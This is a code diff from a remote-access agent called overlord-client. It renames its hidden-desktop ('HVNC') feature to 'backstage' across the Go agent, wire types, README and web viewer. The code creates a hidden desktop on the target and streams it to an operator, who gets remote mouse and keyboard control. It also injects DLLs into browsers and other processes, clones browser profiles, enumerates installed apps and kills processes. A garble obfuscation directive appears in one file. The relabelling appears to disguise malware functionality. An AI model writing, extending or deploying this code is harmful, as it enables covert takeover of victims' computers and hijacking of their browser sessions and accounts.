sendLaunchStatus("launch", true, "process created")
@@ -1787,7 +1787,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
case "hvnc_kill_all":
case "backstage_kill_all":
if env.VirtualCancel != nil {
log.Printf("hidden: kill all processes on virtual monitor")
sendCommandResultSafe(env, cmdID, true, "")
@@ -1798,23 +1798,23 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
}
log.Printf("hvnc: kill all processes on hidden desktop")
log.Printf("backstage: kill all processes on hidden desktop")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_kill_all", nil, func() {
if err := capture.HVNCKillAll(); err != nil {
log.Printf("hvnc: kill all failed: %v", err)
goSafe("backstage_kill_all", nil, func() {
if err := capture.BackstageKillAll(); err != nil {
log.Printf("backstage: kill all failed: %v", err)
}
})
return nil
case "hvnc_window_list":
log.Printf("hvnc: window list requested")
case "backstage_window_list":
log.Printf("backstage: window list requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_window_list", nil, func() {
windows, monitors := capture.HVNCEnumWindows()
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
goSafe("backstage_window_list", nil, func() {
windows, monitors := capture.BackstageEnumWindows()
winEntries := make([]wire.BackstageWindowEntry, 0, len(windows))
for _, w := range windows {
winEntries = append(winEntries, wire.HVNCWindowEntry{
winEntries = append(winEntries, wire.BackstageWindowEntry{
Title: w.Title,
X: w.X,
Y: w.Y,
@@ -1825,9 +1825,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Monitor: w.Monitor,
})
}
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors))
for _, m := range monitors {
monEntries = append(monEntries, wire.HVNCMonitorEntry{
monEntries = append(monEntries, wire.BackstageMonitorEntry{
Index: m.Index,
Name: m.Name,
X: m.X,
@@ -1837,63 +1837,63 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Primary: m.Primary,
})
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
Type: "hvnc_window_list_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{
Type: "backstage_window_list_result",
Windows: winEntries,
Monitors: monEntries,
})
log.Printf("hvnc: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
log.Printf("backstage: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
})
return nil
case "hvnc_browser_check":
log.Printf("hvnc: browser availability check requested")
case "backstage_browser_check":
log.Printf("backstage: browser availability check requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_browser_check", nil, func() {
goSafe("backstage_browser_check", nil, func() {
browsers := capture.CheckInstalledBrowsers()
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserCheckResult{
Type: "hvnc_browser_check_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserCheckResult{
Type: "backstage_browser_check_result",
Browsers: browsers,
})
log.Printf("hvnc: browser check complete: %v", browsers)
log.Printf("backstage: browser check complete: %v", browsers)
})
return nil
case "hvnc_installed_apps":
log.Printf("hvnc: installed apps enumeration requested")
case "backstage_installed_apps":
log.Printf("backstage: installed apps enumeration requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_installed_apps", nil, func() {
goSafe("backstage_installed_apps", nil, func() {
const batchSize = 15
apps := enumerateInstalledApps()
log.Printf("hvnc: enumerated %d installed apps, extracting icons in batches", len(apps))
var batch []wire.HVNCInstalledApp
log.Printf("backstage: enumerated %d installed apps, extracting icons in batches", len(apps))
var batch []wire.BackstageInstalledApp
sent := 0
for _, a := range apps {
batch = append(batch, wire.HVNCInstalledApp{
batch = append(batch, wire.BackstageInstalledApp{
Name: a.name,
ExePath: a.exePath,
Icon: extractIconBase64(a.exePath),
})
if len(batch) >= batchSize {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{
Type: "hvnc_installed_apps_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{
Type: "backstage_installed_apps_result",
Apps: batch,
})
sent += len(batch)
batch = batch[:0]
}
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{
Type: "hvnc_installed_apps_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{
Type: "backstage_installed_apps_result",
Apps: batch,
Done: true,
})
sent += len(batch)
log.Printf("hvnc: installed apps complete, sent %d apps", sent)
log.Printf("backstage: installed apps complete, sent %d apps", sent)
})
return nil
case "hvnc_lookup":
case "backstage_lookup":
payload, _ := envelope["payload"].(map[string]interface{})
exeName := ""
if payload != nil {
@@ -1905,28 +1905,28 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no exe name provided")
return nil
}
log.Printf("hvnc: lookup exe %q", exeName)
log.Printf("backstage: lookup exe %q", exeName)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_lookup", nil, func() {
goSafe("backstage_lookup", nil, func() {
filesearch.LookupExe(exeName, 8, func(path string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
Type: "hvnc_lookup_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{
Type: "backstage_lookup_result",
Exe: exeName,
Path: path,
Done: false,
})
})
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
Type: "hvnc_lookup_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{
Type: "backstage_lookup_result",
Exe: exeName,
Path: "",
Done: true,
})
log.Printf("hvnc: lookup complete for %q", exeName)
log.Printf("backstage: lookup complete for %q", exeName)
})
return nil
case "hvnc_start_process_injected":
case "backstage_start_process_injected":
payload, _ := envelope["payload"].(map[string]interface{})
filePath := ""
searchPath := ""
@@ -1952,16 +1952,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
}
captureDllBytes := extractCaptureDLLBytes(payload)
log.Printf("hvnc: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process_injected", nil, func() {
if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
goSafe("backstage_start_process_injected", nil, func() {
if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
log.Printf("backstage: injected process failed for %q: %v", filePath, err)
}
})
return nil
case "hvnc_start_chrome_injected":
case "backstage_start_chrome_injected":
payload, _ := envelope["payload"].(map[string]interface{})
chromePath := ""
if payload != nil {
@@ -1974,17 +1974,17 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_chrome_injected", nil, func() {
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
log.Printf("hvnc: chrome injected failed: %v", err)
goSafe("backstage_start_chrome_injected", nil, func() {
if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
log.Printf("backstage: chrome injected failed: %v", err)
}
})
return nil
case "hvnc_start_browser_injected":
case "backstage_start_browser_injected":
payload, _ := envelope["payload"].(map[string]interface{})
browser := ""
exePath := ""
@@ -2021,15 +2021,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no browser specified")
return nil
}
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_browser_injected", nil, func() {
goSafe("backstage_start_browser_injected", nil, func() {
var onProgress capture.CloneProgressFunc
if clone {
onProgress = func(percent int, copiedBytes, totalBytes int64, status string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCCloneProgress{
Type: "hvnc_clone_progress",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageCloneProgress{
Type: "backstage_clone_progress",
Browser: browser,
Percent: percent,
CopiedBytes: copiedBytes,
@@ -2039,24 +2039,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
}
onDXGIStatus := func(success bool, gpuPID uint32, message string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{
Type: "hvnc_dxgi_status",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageDXGIStatus{
Type: "backstage_dxgi_status",
Success: success,
GPUPid: gpuPID,
Message: message,
})
}
onLaunchStatus := func(step string, success bool, detail string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
Type: "hvnc_browser_launch_status",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{
Type: "backstage_browser_launch_status",
Browser: browser,
Step: step,
Success: success,
Detail: detail,
})
}
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
log.Printf("backstage: browser injected failed for %q: %v", browser, err)
}
})
return nil
@@ -2178,7 +2178,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
case "virtual_request_keyframe":
log.Printf("hidden: request full frame")
capture.RequestHVNCFullFrame()
capture.RequestbackstageFullFrame()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "virtual_mouse_move":
@@ -2302,9 +2302,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
goSafe("virtual_window_list", nil, func() {
windows, monitors := capture.VirtualEnumWindows()
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
winEntries := make([]wire.BackstageWindowEntry, 0, len(windows))
for _, w := range windows {
winEntries = append(winEntries, wire.HVNCWindowEntry{
winEntries = append(winEntries, wire.BackstageWindowEntry{
Title: w.Title,
X: w.X,
Y: w.Y,
@@ -2315,9 +2315,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Monitor: w.Monitor,
})
}
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors))
for _, m := range monitors {
monEntries = append(monEntries, wire.HVNCMonitorEntry{
monEntries = append(monEntries, wire.BackstageMonitorEntry{
Index: m.Index,
Name: m.Name,
X: m.X,
@@ -2327,8 +2327,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Primary: m.Primary,
})
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
Type: "hvnc_window_list_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{
Type: "backstage_window_list_result",
Windows: winEntries,
Monitors: monEntries,
})
@@ -71,8 +71,8 @@ func isInputCommand(cmdType string) bool {
switch cmdType {
case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
"desktop_key_down", "desktop_key_up", "desktop_text",
"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":
"backstage_mouse_move", "backstage_mouse_down", "backstage_mouse_up",
"backstage_mouse_wheel", "backstage_key_down", "backstage_key_up":
return true
}
return false
-129
View File
@@ -1,129 +0,0 @@
package handlers
import (
"context"
"log"
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
"sync"
"sync/atomic"
"time"
)
var (
hvncPersistedDisplayValue int
hvncPersistedDisplayMu sync.Mutex
hvncTargetFPS atomic.Int64
)
func persistHVNCDisplaySelection(display int) {
hvncPersistedDisplayMu.Lock()
hvncPersistedDisplayValue = display
hvncPersistedDisplayMu.Unlock()
}
func GetPersistedHVNCDisplay() int {
hvncPersistedDisplayMu.Lock()
defer hvncPersistedDisplayMu.Unlock()
return hvncPersistedDisplayValue
}
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
fps := activeHVNCTargetFPS()
interval := time.Second / time.Duration(fps)
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
log.Printf("hvnc: starting stream (target fps %d)", fps)
if err := capture.InitializeHVNCDesktop(); err != nil {
log.Printf("hvnc: failed to initialize hidden desktop: %v", err)
return err
}
if autoStartExplorer {
goSafe("hvnc auto-start explorer", nil, func() {
if err := capture.HVNCAutoStartExplorer(); err != nil {
log.Printf("hvnc: auto-start explorer error: %v", err)
}
})
}
ticker := time.NewTicker(interval)
defer ticker.Stop()
currentFPS := fps
for {
select {
case <-ctx.Done():
log.Printf("hvnc: stopping stream")
capture.CleanupHVNCDesktop()
return nil
case <-ticker.C:
fps := activeHVNCTargetFPS()
if fps != currentFPS {
currentFPS = fps
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
ticker.Reset(time.Second / time.Duration(fps))
log.Printf("hvnc: target fps changed to %d", fps)
}
if err := capture.NowHVNC(ctx, env); err != nil {
if ctx.Err() != nil {
log.Printf("hvnc: stopping stream")
capture.CleanupHVNCDesktop()
return nil
}
log.Printf("hvnc: capture error: %v", err)
}
}
}
}
func activeHVNCTargetFPS() int {
if fps := int(hvncTargetFPS.Load()); fps > 0 {
return fps
}
_, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
return SetHVNCTargetFPS(fps)
}
func SetHVNCTargetFPS(fps int) int {
fps = clampDesktopTargetFPS(fps)
hvncTargetFPS.Store(int64(fps))
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
return fps
}
func HVNCSelect(ctx context.Context, env *rt.Env, display int) error {
prev := env.HVNCSelectedDisplay
maxDisplays := capture.HVNCMonitorCount()
if display < 0 || display >= maxDisplays {
log.Printf("hvnc: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
display = 0
}
env.HVNCSelectedDisplay = display
persistHVNCDisplaySelection(display)
log.Printf("hvnc: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
return nil
}
func HVNCMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCMouseControl = enabled
log.Printf("hvnc: mouse control %v", enabled)
return nil
}
func HVNCKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCKeyboardControl = enabled
log.Printf("hvnc: keyboard control %v", enabled)
return nil
}
func HVNCCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCCursorCapture = enabled
capture.SetHVNCCursorCapture(enabled)
log.Printf("hvnc: cursor capture %v", enabled)
return nil
}
@@ -1,10 +0,0 @@
//go:build !windows
package handlers
func setCursorPosHVNC(x, y int32) {}
func sendMouseDownHVNC(button int) {}
func sendMouseUpHVNC(button int) {}
func sendKeyDownHVNC(vk uint16) {}
func sendKeyUpHVNC(vk uint16) {}
func keyCodeToVKHVNC(code string) uint16 { return 0 }
@@ -417,7 +417,7 @@ type appWithIcon struct {
func getInstalledAppsWithIcons() []appWithIcon {
apps := enumerateInstalledApps()
log.Printf("hvnc: enumerated %d installed apps, extracting icons", len(apps))
log.Printf("backstage: enumerated %d installed apps, extracting icons", len(apps))
out := make([]appWithIcon, len(apps))
for i, app := range apps {
+6 -6
View File
@@ -25,8 +25,8 @@ func pcm16BytesToInt16(chunk []byte) []int16 {
func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind {
switch s, _ := payload["kind"].(string); s {
case "hvnc":
return webrtcpub.KindHVNC
case "backstage":
return webrtcpub.Kindbackstage
case "webcam":
return webrtcpub.KindWebcam
case "audio":
@@ -81,8 +81,8 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
// Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can
// decode immediately instead of waiting for the next natural IDR.
if hasVideo {
if kind == webrtcpub.KindHVNC {
capture.ResetPrevHVNC()
if kind == webrtcpub.Kindbackstage {
capture.ResetPrevbackstage()
} else {
capture.ResetPrev()
}
@@ -142,8 +142,8 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
return nil
}
if hasVideo {
if kind == webrtcpub.KindHVNC {
capture.ResetPrevHVNC()
if kind == webrtcpub.Kindbackstage {
capture.ResetPrevbackstage()
} else {
capture.ResetPrev()
}
+8 -8
View File
@@ -27,14 +27,14 @@ type Env struct {
DesktopCancel context.CancelFunc
DesktopDone chan struct{}
DesktopMu sync.Mutex
// HVNC fields
HVNCSelectedDisplay int
HVNCMouseControl bool
HVNCKeyboardControl bool
HVNCCursorCapture bool
HVNCCancel context.CancelFunc
HVNCDone chan struct{}
HVNCMu sync.Mutex
// backstage fields
BackstageSelectedDisplay int
BackstageMouseControl bool
BackstageKeyboardControl bool
BackstageCursorCapture bool
BackstageCancel context.CancelFunc
BackstageDone chan struct{}
BackstageMu sync.Mutex
// Virtual mode fields
VirtualMouseControl bool
VirtualKeyboardControl bool
+1 -1
View File
@@ -10,7 +10,7 @@ type Kind string
const (
KindDesktop Kind = "desktop"
KindHVNC Kind = "hvnc"
Kindbackstage Kind = "backstage"
KindWebcam Kind = "webcam"
KindAudio Kind = "audio"
)
+14 -14
View File
@@ -110,7 +110,7 @@ type FrameHeader struct {
Monitor int `msgpack:"monitor"`
FPS int `msgpack:"fps"`
Format string `msgpack:"format"`
HVNC bool `msgpack:"hvnc,omitempty"`
Backstage bool `msgpack:"backstage,omitempty"`
Webcam bool `msgpack:"webcam,omitempty"`
}
@@ -346,7 +346,7 @@ type WebcamDevices struct {
Selected int `msgpack:"selected"`
}
type HVNCCloneProgress struct {
type BackstageCloneProgress struct {
Type string `msgpack:"type"`
Browser string `msgpack:"browser"`
Percent int `msgpack:"percent"`
@@ -355,38 +355,38 @@ type HVNCCloneProgress struct {
Status string `msgpack:"status"`
}
type HVNCDXGIStatus struct {
type BackstageDXGIStatus struct {
Type string `msgpack:"type"`
Success bool `msgpack:"success"`
GPUPid uint32 `msgpack:"gpuPid"`
Message string `msgpack:"message"`
}
type HVNCLookupResult struct {
type BackstageLookupResult struct {
Type string `msgpack:"type"`
Exe string `msgpack:"exe"`
Path string `msgpack:"path"`
Done bool `msgpack:"done"`
}
type HVNCBrowserCheckResult struct {
type BackstageBrowserCheckResult struct {
Type string `msgpack:"type"`
Browsers map[string]bool `msgpack:"browsers"`
}
type HVNCInstalledApp struct {
type BackstageInstalledApp struct {
Name string `msgpack:"name"`
ExePath string `msgpack:"exePath"`
Icon string `msgpack:"icon"`
}
type HVNCInstalledAppsResult struct {
type BackstageInstalledAppsResult struct {
Type string `msgpack:"type"`
Apps []HVNCInstalledApp `msgpack:"apps"`
Apps []BackstageInstalledApp `msgpack:"apps"`
Done bool `msgpack:"done"`
}
type HVNCBrowserLaunchStatus struct {
type BackstageBrowserLaunchStatus struct {
Type string `msgpack:"type"`
Browser string `msgpack:"browser"`
Step string `msgpack:"step"`
@@ -394,7 +394,7 @@ type HVNCBrowserLaunchStatus struct {
Detail string `msgpack:"detail"`
}
type HVNCWindowEntry struct {
type BackstageWindowEntry struct {
Title string `msgpack:"title"`
X int `msgpack:"x"`
Y int `msgpack:"y"`
@@ -405,7 +405,7 @@ type HVNCWindowEntry struct {
Monitor int `msgpack:"monitor"`
}
type HVNCMonitorEntry struct {
type BackstageMonitorEntry struct {
Index int `msgpack:"index"`
Name string `msgpack:"name"`
X int `msgpack:"x"`
@@ -415,10 +415,10 @@ type HVNCMonitorEntry struct {
Primary bool `msgpack:"primary"`
}
type HVNCWindowListResult struct {
type BackstageWindowListResult struct {
Type string `msgpack:"type"`
Windows []HVNCWindowEntry `msgpack:"windows"`
Monitors []HVNCMonitorEntry `msgpack:"monitors"`
Windows []BackstageWindowEntry `msgpack:"windows"`
Monitors []BackstageMonitorEntry `msgpack:"monitors"`
}
type ClipboardContent struct {
+2 -2
View File
@@ -8,7 +8,7 @@ A native desktop (fat) client for the Overlord server, built with [Tauri 2](http
- Remembers your last server address across launches
- TLS toggle for connecting to HTTPS or HTTP servers
- Accepts self-signed certificates (Windows / WebView2 via `--ignore-certificate-errors`)
- `window.open` from the web UI (audio, console, HVNC, etc.) opens native popup windows that inherit the parent's session
- `window.open` from the web UI (audio, console, Backstage, etc.) opens native popup windows that inherit the parent's session
- Cross-platform (macOS, Windows, Linux)
## Prerequisites
@@ -64,7 +64,7 @@ Defaults: port **5173**, TLS **enabled**.
## Notes
- **Self-signed certs:** handled via WebView2's `--ignore-certificate-errors` flag (Windows). On macOS/Linux the system webview does not currently expose an equivalent flag through Tauri's config — issue a trusted cert (e.g. mkcert / Let's Encrypt) for production use on those platforms.
- **Popups:** `window.open` calls from the web UI (audio, console, HVNC, etc.) are caught by Tauri's `on_new_window` handler and turned into real WebView2 popups. This is intentional — it's the only way the popup webview inherits the parent's auth cookie (which is `SameSite=Strict`).
- **Popups:** `window.open` calls from the web UI (audio, console, Backstage, etc.) are caught by Tauri's `on_new_window` handler and turned into real WebView2 popups. This is intentional — it's the only way the popup webview inherits the parent's auth cookie (which is `SameSite=Strict`).
- **Footprint:** ~10 MB installer vs. ~80 MB for an Electron equivalent.
## Project Layout
@@ -16,7 +16,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
// for older bookmarked URLs.
const virtualMode = ["virtual", "hidden"].includes(urlParams.get("mode"));
const allowed = await checkFeatureAccess("hvnc", clientId);
const allowed = await checkFeatureAccess("backstage", clientId);
if (!allowed) return;
const clientLabel = document.getElementById("clientLabel");
@@ -46,7 +46,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
location.host +
"/api/clients/" +
clientId +
"/hvnc/ws";
"/backstage/ws";
}
function connectWs() {
@@ -90,14 +90,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
const webrtcVideo = document.getElementById("webrtcVideo");
const canvas = document.getElementById("frameCanvas");
const canvasContainer = document.getElementById("canvasContainer");
const contextMenu = document.getElementById("hvncContextMenu");
const contextMenu = document.getElementById("backstageContextMenu");
const ctx = canvas.getContext("2d");
const agentFps = document.getElementById("agentFps");
const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
const uiaCtrl = document.getElementById("uiaCtrl");
const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
const backstageResolutionSelect = document.getElementById("backstageResolutionSelect");
const targetFpsSelect = document.getElementById("targetFpsSelect");
let whepClient = null;
let p2pClient = null;
@@ -108,10 +108,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
}
function syncInputEnableState() {
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
if (uiaCtrl) sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
pushHvncResolution();
if (mouseCtrl) sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked });
if (kbdCtrl) sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked });
if (uiaCtrl) sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked });
pushbackstageResolution();
}
let activeClientId = clientId;
let renderCount = 0;
@@ -158,7 +158,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
function applySharedSettings(settings) {
if (!settings || typeof settings !== "object") return;
savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay;
setSelectValue(hvncResolutionSelect, settings.resolution);
setSelectValue(backstageResolutionSelect, settings.resolution);
setSelectValue(targetFpsSelect, settings.targetFps);
setSelectValue(webrtcMode, settings.webrtcMode);
if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
@@ -169,9 +169,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (typeof settings.preferH264 === "boolean") {
prefersH264 = settings.preferH264 && typeof VideoDecoder === "function";
}
const cloneToggle = document.getElementById("hvncCloneToggle");
const cloneLiteToggle = document.getElementById("hvncCloneLiteToggle");
const killIfRunningToggle = document.getElementById("hvncKillIfRunningToggle");
const cloneToggle = document.getElementById("backstageCloneToggle");
const cloneLiteToggle = document.getElementById("backstageCloneLiteToggle");
const killIfRunningToggle = document.getElementById("backstageKillIfRunningToggle");
if (cloneToggle && typeof settings.cloneProfile === "boolean") cloneToggle.checked = settings.cloneProfile;
if (cloneLiteToggle && typeof settings.cloneLite === "boolean") cloneLiteToggle.checked = settings.cloneLite;
if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") {
@@ -183,7 +183,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
function readSharedSettings() {
return {
display: Number(displaySelect?.value || 0),
resolution: hvncResolutionSelect?.value || "1080",
resolution: backstageResolutionSelect?.value || "1080",
targetFps: Number(targetFpsSelect?.value || 120),
quality: Number(qualitySlider?.value || 90),
preferH264: !!prefersH264,
@@ -192,14 +192,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
keyboard: !!kbdCtrl?.checked,
clipboardSync: !!clipboardSyncCtrl?.checked,
uia: !!uiaCtrl?.checked,
cloneProfile: document.getElementById("hvncCloneToggle")?.checked !== false,
cloneLite: document.getElementById("hvncCloneLiteToggle")?.checked === true,
killIfRunning: document.getElementById("hvncKillIfRunningToggle")?.checked === true,
cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
};
}
applySharedSettings(await loadSharedUiSettings("hvnc"));
const sharedSettingsSaver = createSharedUiSettingsSaver("hvnc", readSharedSettings);
applySharedSettings(await loadSharedUiSettings("backstage"));
const sharedSettingsSaver = createSharedUiSettingsSaver("backstage", readSharedSettings);
if (codecH264) {
codecH264.checked = prefersH264;
@@ -382,12 +382,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
setStreamState("starting", "Reconnecting");
const mode = getWebrtcMode();
if (displaySelect && displaySelect.value !== undefined) {
sendCmd("hvnc_select_display", {
sendCmd("backstage_select_display", {
display: parseInt(displaySelect.value, 10) || 0,
});
}
pushTargetFps();
sendCmd("hvnc_start", {
sendCmd("backstage_start", {
autoStartExplorer: false,
webrtc: mode === "relayed",
...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}),
@@ -538,9 +538,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
}
}
function handleHVNCError(msg) {
const errorText = msg.error || msg.message || "Unknown HVNC error";
console.error("hvnc: server error:", errorText);
function handlebackstageError(msg) {
const errorText = msg.error || msg.message || "Unknown backstage error";
console.error("backstage: server error:", errorText);
if (!launchStatusEl) return;
if (launchHideTimer) {
clearTimeout(launchHideTimer);
@@ -580,7 +580,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
}
function requestBrowserCheck() {
sendCmd("hvnc_browser_check", {});
sendCmd("backstage_browser_check", {});
}
const installedAppsLoading = document.getElementById("installedAppsLoading");
@@ -604,7 +604,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (installedAppsGrid) installedAppsGrid.innerHTML = "";
if (installedAppsCount) installedAppsCount.textContent = "";
if (installedAppsEmpty) installedAppsEmpty.classList.add("hidden");
sendCmd("hvnc_installed_apps", {});
sendCmd("backstage_installed_apps", {});
}
function applyInstalledAppsFilter() {
@@ -742,7 +742,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
btn.appendChild(nameSpan);
btn.addEventListener("click", () => {
sendCmd("hvnc_start_process", { path: '"' + app.exePath + '"' });
sendCmd("backstage_start_process", { path: '"' + app.exePath + '"' });
hideContextMenu();
});
installedAppsGrid.appendChild(btn);
@@ -763,7 +763,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
return;
}
const msg = { type, ...payload };
console.debug("hvnc: send", msg);
console.debug("backstage: send", msg);
ws.send(encodeMsgpack(msg));
}
